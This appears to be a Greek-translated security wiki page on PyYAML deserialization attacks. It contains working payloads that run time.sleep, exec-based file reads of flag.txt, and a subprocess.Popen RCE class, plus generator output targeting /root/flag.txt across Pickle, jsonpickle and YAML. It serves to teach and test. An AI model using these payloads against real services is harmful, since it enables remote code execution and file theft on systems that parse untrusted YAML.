Python Yaml Deserialization

Reading time: 5 minutes

Yaml Deserialization

Οι βιβλιοθήκες Yaml python είναι επίσης ικανές να σειριοποιούν αντικείμενα python και όχι μόνο ακατέργαστα δεδομένα:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Ελέγξτε πώς το tuple δεν είναι ένας ακατέργαστος τύπος δεδομένων και επομένως έχει serializαριστεί. Και το ίδιο συνέβη με το range (που προέρχεται από τα builtins).

safe_load() ή safe_load_all() χρησιμοποιεί SafeLoader και δεν υποστηρίζει την αποσυμπίεση αντικειμένων κλάσης. Παράδειγμα αποσυμπίεσης αντικειμένων κλάσης:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Ο προηγούμενος κώδικας χρησιμοποίησε unsafe_load για να φορτώσει την σειριοποιημένη κλάση python. Αυτό συμβαίνει επειδή στην έκδοση >= 5.1, δεν επιτρέπει να αποσειριοποιηθεί καμία σειριοποιημένη κλάση python ή χαρακτηριστικό κλάσης, με Loader που δεν έχει καθοριστεί στο load() ή Loader=SafeLoader.

Basic Exploit

Παράδειγμα για το πώς να εκτελέσετε έναν ύπνο:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Ευάλωτο .load("<content>") χωρίς Loader

Παλαιότερες εκδόσεις του pyyaml ήταν ευάλωτες σε επιθέσεις απο-σειριοποίησης αν δεν καθορίζατε τον Loader κατά την φόρτωση κάποιου: yaml.load(data)

Μπορείτε να βρείτε την περιγραφή της ευπάθειας εδώ. Η προτεινόμενη εκμετάλλευση σε αυτή τη σελίδα είναι:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ή θα μπορούσατε επίσης να χρησιμοποιήσετε αυτήν την μία γραμμή που παρέχεται από τον @ishaack:

!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}

Σημειώστε ότι στις πρόσφατες εκδόσεις δεν μπορείτε πλέον να καλέσετε το .load() χωρίς έναν Loader και ο FullLoader δεν είναι πλέον ευάλωτος σε αυτή την επίθεση.

RCE

Μπορούν να δημιουργηθούν προσαρμοσμένα payloads χρησιμοποιώντας Python YAML modules όπως το PyYAML ή το ruamel.yaml. Αυτά τα payloads μπορούν να εκμεταλλευτούν ευπάθειες σε συστήματα που αποδομούν μη αξιόπιστη είσοδο χωρίς κατάλληλο καθαρισμό.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Εργαλείο για τη δημιουργία Payloads

Το εργαλείο https://github.com/j0lt-github/python-deserialization-attack-payload-generator μπορεί να χρησιμοποιηθεί για τη δημιουργία payloads αποσυμπίεσης Python για την εκμετάλλευση Pickle, PyYAML, jsonpickle και ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Αναφορές

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
• https://net-square.com/yaml-deserialization-attack-in-python.html